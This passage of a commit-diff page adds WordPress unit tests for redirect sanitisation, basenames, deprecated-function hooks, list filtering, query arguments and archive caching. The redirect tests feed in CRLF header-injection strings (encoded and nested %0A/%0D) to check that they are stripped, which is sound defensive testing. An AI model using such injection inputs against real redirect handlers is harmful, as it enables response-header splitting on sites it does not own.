+class Tests_Formatting_Redirect extends WP_UnitTestCase {
+       function test_wp_sanitize_redirect() {
+               $this->assertEquals('http://example.com/watchthelinefeedgo', wp_sanitize_redirect('http://example.com/watchthelinefeed%0Ago'));
+               $this->assertEquals('http://example.com/watchthelinefeedgo', wp_sanitize_redirect('http://example.com/watchthelinefeed%0ago'));
+               $this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0Dgo'));
+               $this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0dgo'));
+               //Nesting checks
+               $this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0%0ddgo'));
+               $this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0%0DDgo'));
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsformattingwp_basenamephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/formatting/wp_basename.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/formatting/wp_basename.php                             (rev 0)
+++ trunk/tests/tests/formatting/wp_basename.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,34 @@
</span><ins>+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WP_Basename extends WP_UnitTestCase {
+
+       function test_wp_basename_unix() {
+               $this->assertEquals('file',
+                       wp_basename('/home/test/file'));
+       }
+
+       function test_wp_basename_unix_utf8_support() {
+               $this->assertEquals('žluťoučký kůň.txt',
+                       wp_basename('/test/žluťoučký kůň.txt'));
+       }
+
+       /**
+        * @ticket 22138
+        */
+       function test_wp_basename_windows() {
+               $this->assertEquals('file.txt',
+                       wp_basename('C:\Documents and Settings\User\file.txt'));
+       }
+
+       /**
+        * @ticket 22138
+        */
+       function test_wp_basename_windows_utf8_support() {
+               $this->assertEquals('щипцы.txt',
+                       wp_basename('C:\test\щипцы.txt'));
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsfunctionsdeprecatedphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/functions/deprecated.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/functions/deprecated.php                               (rev 0)
+++ trunk/tests/tests/functions/deprecated.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,177 @@
</span><ins>+<?php
+
+/**
+ * Test cases for deprecated functions, arguments, and files
+ *
+ * @package    WordPress
+ * @subpackage Unit Tests
+ * @since      3.5
+ * @group      deprecated
+ */
+class Test_Functions_Deprecated extends WP_UnitTestCase {
+
+       /**
+        * List of functions that have been passed through _deprecated_function()
+        * @var string[]
+        */
+       protected $_deprecated_functions = array();
+
+       /**
+        * List of arguments that have been passed through _deprecated_argument()
+        * @var string[]
+        */
+       protected $_deprecated_arguments = array();
+
+       /**
+        * List of files that have been passed through _deprecated_file()
+        * @var string[]
+        */
+       protected $_deprecated_files = array();
+
+       /**
+        * Set up the test fixture
+        * @return void
+        */
+       public function setUp() {
+               parent::setUp();
+               $this->_deprecated_functions = array();
+               $this->_deprecated_arguments = array();
+               $this->_deprecated_files = array();
+               add_action( 'deprecated_function_run' , array( $this, 'deprecated_function' ), 10, 3 );
+               add_action( 'deprecated_function_trigger_error', '__return_false' );
+               add_action( 'deprecated_argument_run' , array( $this, 'deprecated_argument' ), 10, 3 );
+               add_action( 'deprecated_argument_trigger_error', '__return_false' );
+               add_action( 'deprecated_file_included' , array( $this, 'deprecated_file' ), 10, 4 );
+               add_action( 'deprecated_file_trigger_error', '__return_false' );
+       }
+
+       /**
+        * Tear down the test fixture
+        * @return void
+        */
+       public function teardown() {
+               remove_action( 'deprecated_function_run' , array( $this, 'deprecated_function' ), 10, 3 );
+               remove_action( 'deprecated_function_trigger_error', '__return_false' );
+               remove_action( 'deprecated_argument_run' , array( $this, 'deprecated_argument' ), 10, 3 );
+               remove_action( 'deprecated_argument_trigger_error', '__return_false' );
+               remove_action( 'deprecated_file_included' , array( $this, 'deprecated_argument' ), 10, 4 );
+               remove_action( 'deprecated_file_trigger_error', '__return_false' );
+               parent::tearDown();
+       }
+
+       /**
+        * Catch functions that have passed through _deprecated_function
+        * @param string $function
+        * @param string $replacement
+        * @param float $version
+        * @return void
+        */
+       public function deprecated_function( $function, $replacement, $version ) {
+               $this->_deprecated_functions[] = array(
+                       'function'    => $function,
+                       'replacement' => $replacement,
+                       'version'     => $version
+               );
+       }
+
+       /**
+        * Catch arguments that have passed through _deprecated_argument
+        * @param string $argument
+        * @param string $message
+        * @param float $version
+        * @return void
+        */
+       public function deprecated_argument( $argument, $message, $version ) {
+               $this->_deprecated_arguments[] = array(
+                       'argument' => $argument,
+                       'message'  => $message,
+                       'version'  => $version
+               );
+       }
+
+       /**
+        * Catch arguments that have passed through _deprecated_argument
+        * @param string $argument
+        * @param string $message
+        * @param float $version
+        * @return void
+        */
+       public function deprecated_file( $file, $version, $replacement, $message ) {
+               $this->_deprecated_files[] = array(
+                       'file'        => $file,
+                       'version'     => $version,
+                       'replacement' => $replacement,
+                       'message'     => $message
+               );
+       }
+
+       /**
+        * Check if something was deprecated
+        * @param string $type argument|function|file
+        * @param string $name
+        * @return array|false
+        */
+       protected function was_deprecated( $type, $name ) {
+               switch ( $type ) {
+                       case 'argument' :
+                               $search = $this->_deprecated_arguments;
+                               $key    = 'argument';
+                               break;
+                       case 'function' :
+                               $search = $this->_deprecated_functions;
+                               $key    = 'function';
+                               break;
+                       default :
+                               $search = $this->_deprecated_files;
+                               $key    = 'file';
+               }
+               foreach ( $search as $v ) {
+                       if ( $name == $v[$key] ) {
+                               return $v;
+                       }
+               }
+               return false;
+       }
+
+       /**
+        * Test that wp_save_image_file has a deprecated argument when passed a GD resource
+        * @ticket 6821
+        */
+       public function test_wp_save_image_file_deprecated_with_gd_resource() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               // Call wp_save_image_file
+               include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+               $file = wp_tempnam();
+               $img = imagecreatefromjpeg( DIR_TESTDATA . '/images/canola.jpg' );
+               wp_save_image_file( $file, $img, 'image/jpeg', 1 );
+               imagedestroy( $img );
+               @unlink($file);
+
+               // Check if the arg was deprecated
+               $check = $this->was_deprecated( 'argument', 'wp_save_image_file' );
+               $this->assertNotEmpty( $check );
+       }
+
+       /**
+        * Test that wp_save_image_file doesn't have a deprecated argument when passed a WP_Image_Editor
+        * @ticket 6821
+        */
+       public function test_wp_save_image_file_not_deprecated_with_wp_image_editor() {
+               if ( !function_exists( 'imagejpeg' ) )
+                       $this->markTestSkipped( 'jpeg support unavailable' );
+
+               // Call wp_save_image_file
+               include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+               $file = wp_tempnam();
+               $img = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+               wp_save_image_file( $file, $img, 'image/jpeg', 1 );
+               unset( $img );
+               @unlink($file);
+
+               // Check if the arg was deprecated
+               $check = $this->was_deprecated( 'argument', 'wp_save_image_file' );
+               $this->assertFalse( $check );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsfunctionslistFilterphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/functions/listFilter.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/functions/listFilter.php                               (rev 0)
+++ trunk/tests/tests/functions/listFilter.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,113 @@
</span><ins>+<?php
+
+/**
+ * Test wp_filter_object_list(), wp_list_filter(), wp_list_pluck().
+ *
+ * @group functions.php
+ */
+class Tests_Functions_ListFilter extends WP_UnitTestCase {
+       var $object_list = array();
+       var $array_list = array();
+
+       function setUp() {
+               parent::setUp();
+               $this->array_list['foo'] = array( 'name' => 'foo', 'field1' => true, 'field2' => true, 'field3' => true, 'field4' => array( 'red' ) );
+               $this->array_list['bar'] = array( 'name' => 'bar', 'field1' => true, 'field2' => true, 'field3' => false, 'field4' => array( 'green' ) );
+               $this->array_list['baz'] = array( 'name' => 'baz', 'field1' => true, 'field2' => false, 'field3' => false, 'field4' => array( 'blue' ) );
+               foreach ( $this->array_list as $key => $value ) {
+                       $this->object_list[ $key ] = (object) $value;
+               }
+       }
+
+       function test_filter_object_list_and() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'AND' );
+               $this->assertEquals( 2, count( $list ) );
+               $this->assertArrayHasKey( 'foo', $list );
+               $this->assertArrayHasKey( 'bar', $list );
+       }
+
+       function test_filter_object_list_or() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'OR' );
+               $this->assertEquals( 3, count( $list ) );
+               $this->assertArrayHasKey( 'foo', $list );
+               $this->assertArrayHasKey( 'bar', $list );
+               $this->assertArrayHasKey( 'baz', $list );
+       }
+
+       function test_filter_object_list_not() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'NOT' );
+               $this->assertEquals( 1, count( $list ) );
+               $this->assertArrayHasKey( 'baz', $list );
+       }
+
+       function test_filter_object_list_and_field() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field1' => true, 'field2' => true ), 'AND', 'name' );
+               $this->assertEquals( 2, count( $list ) );
+               $this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar' ) , $list );
+       }
+
+       function test_filter_object_list_or_field() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'OR', 'name' );
+               $this->assertEquals( 2, count( $list ) );
+               $this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar' ) , $list );
+       }
+
+       function test_filter_object_list_not_field() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field2' => true, 'field3' => true ), 'NOT', 'name' );
+               $this->assertEquals( 1, count( $list ) );
+               $this->assertEquals( array( 'baz' => 'baz' ) , $list );
+       }
+
+       function test_wp_list_pluck() {
+               $list = wp_list_pluck( $this->object_list, 'name' );
+               $this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar', 'baz' => 'baz' ) , $list );
+
+               $list = wp_list_pluck( $this->array_list, 'name' );
+               $this->assertEquals( array( 'foo' => 'foo', 'bar' => 'bar', 'baz' => 'baz' ) , $list );
+       }
+
+       function test_filter_object_list_nested_array_and() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'AND' );
+               $this->assertEquals( 1, count( $list ) );
+               $this->assertArrayHasKey( 'baz', $list );
+       }
+
+       function test_filter_object_list_nested_array_not() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'red' ) ), 'NOT' );
+               $this->assertEquals( 2, count( $list ) );
+               $this->assertArrayHasKey( 'bar', $list );
+               $this->assertArrayHasKey( 'baz', $list );
+       }
+
+       function test_filter_object_list_nested_array_or() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field3' => true, 'field4' => array( 'blue' ) ), 'OR' );
+               $this->assertEquals( 2, count( $list ) );
+               $this->assertArrayHasKey( 'foo', $list );
+               $this->assertArrayHasKey( 'baz', $list );
+       }
+
+       function test_filter_object_list_nested_array_or_singular() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'OR' );
+               $this->assertEquals( 1, count( $list ) );
+               $this->assertArrayHasKey( 'baz', $list );
+       }
+
+
+       function test_filter_object_list_nested_array_and_field() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'blue' ) ), 'AND', 'name' );
+               $this->assertEquals( 1, count( $list ) );
+               $this->assertEquals( array( 'baz' => 'baz' ) , $list );
+       }
+
+       function test_filter_object_list_nested_array_not_field() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field4' => array( 'green' ) ), 'NOT', 'name' );
+               $this->assertEquals( 2, count( $list ) );
+               $this->assertEquals( array( 'foo' => 'foo', 'baz' => 'baz' ), $list );
+       }
+
+       function test_filter_object_list_nested_array_or_field() {
+               $list = wp_filter_object_list( $this->object_list, array( 'field3' => true, 'field4' => array( 'blue' ) ), 'OR', 'name' );
+               $this->assertEquals( 2, count( $list ) );
+               $this->assertEquals( array( 'foo' => 'foo', 'baz' => 'baz' ), $list );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsfunctionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/functions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/functions.php                          (rev 0)
+++ trunk/tests/tests/functions.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,339 @@
</span><ins>+<?php
+
+/**
+ * @group functions.php
+ */
+class Tests_Functions extends WP_UnitTestCase {
+       function test_wp_parse_args_object() {
+               $x = new MockClass;
+               $x->_baba = 5;
+               $x->yZ = "baba";
+               $x->a = array(5, 111, 'x');
+               $this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x));
+               $y = new MockClass;
+               $this->assertEquals(array(), wp_parse_args($y));
+       }
+       function test_wp_parse_args_array()  {
+               // arrays
+               $a = array();
+               $this->assertEquals(array(), wp_parse_args($a));
+               $b = array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x'));
+               $this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($b));
+       }
+       function test_wp_parse_args_defaults() {
+               $x = new MockClass;
+               $x->_baba = 5;
+               $x->yZ = "baba";
+               $x->a = array(5, 111, 'x');
+               $d = array('pu' => 'bu');
+               $this->assertEquals(array('pu' => 'bu', '_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x, $d));
+               $e = array('_baba' => 6);
+               $this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x, $e));
+       }
+       function test_wp_parse_args_other() {
+               $b = true;
+               wp_parse_str($b, $s);
+               $this->assertEquals($s, wp_parse_args($b));
+               $q = 'x=5&_baba=dudu&';
+               wp_parse_str($q, $ss);
+               $this->assertEquals($ss, wp_parse_args($q));
+       }
+       function test_size_format() {
+               $kb = 1024;
+               $mb = $kb*1024;
+               $gb = $mb*1024;
+               $tb = $gb*1024;
+               // test if boundaries are correct
+               $this->assertEquals('1 GB', size_format($gb, 0));
+               $this->assertEquals('1 MB', size_format($mb, 0));
+               $this->assertEquals('1 kB', size_format($kb, 0));
+               // now some values around
+               // add some bytes to make sure the result isn't 1.4999999
+               $this->assertEquals('1.5 TB', size_format($tb + $tb/2 + $mb, 1));
+               $this->assertEquals('1,023.999 GB', size_format($tb-$mb-$kb, 3));
+               // edge
+               $this->assertFalse(size_format(-1));
+               $this->assertFalse(size_format(0));
+               $this->assertFalse(size_format('baba'));
+               $this->assertFalse(size_format(array()));
+       }
+
+       function test_path_is_absolute() {
+               if ( !is_callable('path_is_absolute') )
+                       $this->markTestSkipped();
+
+               $absolute_paths = array(
+                       '/',
+                       '/foo/',
+                       '/foo',
+                       '/FOO/bar',
+                       '/foo/bar/',
+                       '/foo/../bar/',
+                       '\\WINDOWS',
+                       'C:\\',
+                       'C:\\WINDOWS',
+                       '\\\\sambashare\\foo',
+                       );
+               foreach ($absolute_paths as $path)
+                       $this->assertTrue( path_is_absolute($path), "path_is_absolute('$path') should return true" );
+       }
+
+       function test_path_is_not_absolute() {
+               if ( !is_callable('path_is_absolute') )
+                       $this->markTestSkipped();
+
+               $relative_paths = array(
+                       '',
+                       '.',
+                       '..',
+                       '../foo',
+                       '../',
+                       '../foo.bar',
+                       'foo/bar',
+                       'foo',
+                       'FOO',
+                       '..\\WINDOWS',
+                       );
+               foreach ($relative_paths as $path)
+                       $this->assertFalse( path_is_absolute($path), "path_is_absolute('$path') should return false" );
+       }
+
+       function test_wp_unique_filename() {
+               
+               $testdir = DIR_TESTDATA . '/images/';
+               
+               // sanity check
+               $this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcdefg.png' ), 'Sanitiy check failed' );
+
+               // check number is appended for file already exists
+               $this->assertFileExists( $testdir . 'test-image.png', 'Test image does not exist' );
+               $this->assertEquals( 'test-image1.png', wp_unique_filename( $testdir, 'test-image.png' ), 'Number not appended correctly' );
+               $this->assertFileNotExists( $testdir . 'test-image1.png' );
+
+               // check special chars
+               $this->assertEquals( 'testtést-imagé.png', wp_unique_filename( $testdir, 'testtést-imagé.png' ), 'Filename with special chars failed' );
+               
+               // check special chars with potential conflicting name
+               $this->assertEquals( 'tést-imagé.png', wp_unique_filename( $testdir, 'tést-imagé.png' ), 'Filename with special chars failed' );
+               
+               // check with single quotes in name (somehow)
+               $this->assertEquals( "abcdefgh.png", wp_unique_filename( $testdir, "abcdefg'h.png" ), 'File with quote failed' );
+
+               // check with single quotes in name (somehow)
+               $this->assertEquals( "abcdefgh.png", wp_unique_filename( $testdir, 'abcdefg"h.png' ), 'File with quote failed' );
+
+               // test crazy name (useful for regression tests)
+               $this->assertEquals( '12%af34567890@..%^_+qwerty-fghjkl-zx.png', wp_unique_filename( $testdir, '12%af34567890#~!@#$..%^&*()|_+qwerty  fgh`jkl zx<>?:"{}[]="\'/?.png' ), 'Failed crazy file name' );
+               
+               // test slashes in names
+               $this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\fg.png' ), 'Slash not removed' );
+               $this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\fg.png' ), 'Double slashed not removed' );
+               $this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\\fg.png' ), 'Tripple slashed not removed' );
+       }
+
+       /**
+        * @ticket 9930
+        */
+       function test_is_serialized() {
+               $cases = array(
+                       serialize(null),
+                       serialize(true),
+                       serialize(false),
+                       serialize(-25),
+                       serialize(25),
+                       serialize(1.1),
+                       serialize(2.1E+200),
+                       serialize('this string will be serialized'),
+                       serialize("a\nb"),
+                       serialize(array()),
+                       serialize(array(1,1,2,3,5,8,13)),
+                       serialize( (object)array('test' => true, '3', 4) )
+               );
+               foreach ( $cases as $case )
+                       $this->assertTrue( is_serialized($case), "Serialized data: $case" );
+
+               $not_serialized = array(
+                       'a string',
+                       'garbage:a:0:garbage;',
+                       'b:4;',
+                       's:4:test;'
+               );
+               foreach ( $not_serialized as $case )
+                       $this->assertFalse( is_serialized($case), "Test data: $case" );
+       }
+
+       /**
+        * @group add_query_arg
+        */
+       function test_add_query_arg() {
+               $old_req_uri = $_SERVER['REQUEST_URI'];
+
+               $urls = array(
+                       '/',
+                       '/2012/07/30/',
+                       'edit.php',
+                       admin_url( 'edit.php' ),
+                       admin_url( 'edit.php', 'https' ),
+               );
+
+               $frag_urls = array(
+                       '/#frag',
+                       '/2012/07/30/#frag',
+                       'edit.php#frag',
+                       admin_url( 'edit.php#frag' ),
+                       admin_url( 'edit.php#frag', 'https' ),
+               );
+
+               foreach ( $urls as $url ) {
+                       $_SERVER['REQUEST_URI'] = 'nothing';
+
+                       $this->assertEquals( "$url?foo=1", add_query_arg( 'foo', '1', $url ) );
+                       $this->assertEquals( "$url?foo=1", add_query_arg( array( 'foo' => '1' ), $url ) );
+                       $this->assertEquals( "$url?foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $url ) );
+                       $this->assertEquals( "$url?foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $url ) );
+
+                       $_SERVER['REQUEST_URI'] = $url;
+
+                       $this->assertEquals( "$url?foo=1", add_query_arg( 'foo', '1' ) );
+                       $this->assertEquals( "$url?foo=1", add_query_arg( array( 'foo' => '1' ) ) );
+                       $this->assertEquals( "$url?foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+                       $this->assertEquals( "$url?foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+               }
+
+               foreach ( $frag_urls as $frag_url ) {
+                       $_SERVER['REQUEST_URI'] = 'nothing';
+                       $url = str_replace( '#frag', '', $frag_url );
+
+                       $this->assertEquals( "$url?foo=1#frag", add_query_arg( 'foo', '1', $frag_url ) );
+                       $this->assertEquals( "$url?foo=1#frag", add_query_arg( array( 'foo' => '1' ), $frag_url ) );
+                       $this->assertEquals( "$url?foo=2#frag", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $frag_url ) );
+                       $this->assertEquals( "$url?foo=1&bar=2#frag", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $frag_url ) );
+
+                       $_SERVER['REQUEST_URI'] = $frag_url;
+
+                       $this->assertEquals( "$url?foo=1#frag", add_query_arg( 'foo', '1' ) );
+                       $this->assertEquals( "$url?foo=1#frag", add_query_arg( array( 'foo' => '1' ) ) );
+                       $this->assertEquals( "$url?foo=2#frag", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+                       $this->assertEquals( "$url?foo=1&bar=2#frag", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+               }
+
+               $qs_urls = array(
+                       'baz=1', // #WP4903
+                       '/?baz',
+                       '/2012/07/30/?baz',
+                       'edit.php?baz',
+                       admin_url( 'edit.php?baz' ),
+                       admin_url( 'edit.php?baz', 'https' ),
+                       admin_url( 'edit.php?baz&za=1' ),
+                       admin_url( 'edit.php?baz=1&za=1' ),
+                       admin_url( 'edit.php?baz=0&za=0' ),
+               );
+
+               foreach ( $qs_urls as $url ) {
+                       $_SERVER['REQUEST_URI'] = 'nothing';
+
+                       $this->assertEquals( "$url&foo=1", add_query_arg( 'foo', '1', $url ) );
+                       $this->assertEquals( "$url&foo=1", add_query_arg( array( 'foo' => '1' ), $url ) );
+                       $this->assertEquals( "$url&foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $url ) );
+                       $this->assertEquals( "$url&foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $url ) );
+
+                       $_SERVER['REQUEST_URI'] = $url;
+
+                       $this->assertEquals( "$url&foo=1", add_query_arg( 'foo', '1' ) );
+                       $this->assertEquals( "$url&foo=1", add_query_arg( array( 'foo' => '1' ) ) );
+                       $this->assertEquals( "$url&foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+                       $this->assertEquals( "$url&foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+               }
+
+               $_SERVER['REQUEST_URI'] = $old_req_uri;
+       }
+
+       /**
+        * @ticket 21594
+        */
+       function test_get_allowed_mime_types() {
+               $mimes = get_allowed_mime_types();
+
+               $this->assertInternalType( 'array', $mimes );
+               $this->assertNotEmpty( $mimes );
+
+               add_filter( 'upload_mimes', '__return_empty_array' );
+               $mimes = get_allowed_mime_types();
+               $this->assertInternalType( 'array', $mimes );
+               $this->assertEmpty( $mimes );
+
+               remove_filter( 'upload_mimes', '__return_empty_array' );
+               $mimes = get_allowed_mime_types();
+               $this->assertInternalType( 'array', $mimes );
+               $this->assertNotEmpty( $mimes );
+       }
+
+       /**
+        * @ticket 21594
+        */
+       function test_wp_get_mime_types() {
+               $mimes = wp_get_mime_types();
+
+               $this->assertInternalType( 'array', $mimes );
+               $this->assertNotEmpty( $mimes );
+
+               add_filter( 'mime_types', '__return_empty_array' );
+               $mimes = wp_get_mime_types();
+               $this->assertInternalType( 'array', $mimes );
+               $this->assertEmpty( $mimes );
+
+               remove_filter( 'mime_types', '__return_empty_array' );
+               $mimes = wp_get_mime_types();
+               $this->assertInternalType( 'array', $mimes );
+               $this->assertNotEmpty( $mimes );
+
+               // upload_mimes shouldn't affect wp_get_mime_types()
+               add_filter( 'upload_mimes', '__return_empty_array' );
+               $mimes = wp_get_mime_types();
+               $this->assertInternalType( 'array', $mimes );
+               $this->assertNotEmpty( $mimes );
+
+               remove_filter( 'upload_mimes', '__return_empty_array' );
+               $mimes2 = wp_get_mime_types();
+               $this->assertInternalType( 'array', $mimes2 );
+               $this->assertNotEmpty( $mimes2 );
+               $this->assertEquals( $mimes2, $mimes );
+       }
+
+       /**
+        * @ticket 23688
+        */
+       function test_canonical_charset() {
+               $orig_blog_charset = get_option( 'blog_charset' );
+
+               update_option( 'blog_charset', 'utf8' );
+               $this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+               update_option( 'blog_charset', 'utf-8' );
+               $this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+               update_option( 'blog_charset', 'UTF8' );
+               $this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+               update_option( 'blog_charset', 'UTF-8' );
+               $this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+               update_option( 'blog_charset', 'ISO-8859-1' );
+               $this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+               update_option( 'blog_charset', 'ISO8859-1' );
+               $this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+               update_option( 'blog_charset', 'iso8859-1' );
+               $this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+               update_option( 'blog_charset', 'iso-8859-1' );
+               $this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+               // Arbitrary strings are passed through.
+               update_option( 'blog_charset', 'foobarbaz' );
+               $this->assertEquals( 'foobarbaz', get_option( 'blog_charset') );
+
+               update_option( 'blog_charset', $orig_blog_charset );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsgeneralarchivesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/general/archives.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/general/archives.php                           (rev 0)
+++ trunk/tests/tests/general/archives.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,111 @@
</span><ins>+<?php
+
+/**
+ * @group general
+ */
+class Tests_General_Archives extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+
+               wp_cache_delete( 'last_changed', 'posts' );
+       }
+
+       /**
+        * @ticket 23206
+        */
+       function test_get_archives_cache() {
+               global $wpdb;
+
+               $this->factory->post->create_many( 15, array( 'post_type' => 'post' ) );
+               wp_cache_delete( 'last_changed', 'posts' );
+               $this->assertFalse( wp_cache_get( 'last_changed', 'posts' ) );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Cache is not primed, expect 1 query.
+               $result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertNotEmpty( $time1 = wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Cache is primed, expect no queries.
+               $result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+
+               // Change args, resulting in a different query string. Cache is not primed, expect 1 query.
+               $result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false, 'order' => 'ASC' ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Cache is primed, expect no queries.
+               $result = wp_get_archives( array( 'type' => 'monthly', 'echo' => false, 'order' => 'ASC' ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Change type. Cache is not primed, expect 1 query.
+               $result = wp_get_archives( array( 'type' => 'yearly', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Cache is primed, expect no queries.
+               $result = wp_get_archives( array( 'type' => 'yearly', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+
+               // Change type. Cache is not primed, expect 1 query.
+               $result = wp_get_archives( array( 'type' => 'daily', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Cache is primed, expect no queries.
+               $result = wp_get_archives( array( 'type' => 'daily', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+
+               // Change type. Cache is not primed, expect 1 query.
+               $result = wp_get_archives( array( 'type' => 'weekly', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+
+               $num_queries = $wpdb->num_queries;
+
+               // Cache is primed, expect no queries.
+               $result = wp_get_archives( array( 'type' => 'weekly', 'echo' => false ) );
+               $this->assertInternalType( 'string', $result );
+               $this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+               $this->assertEquals( $num_queries, $wpdb->num_queries );
+
+               // Change type. Cache is not primed, expect 1 query.
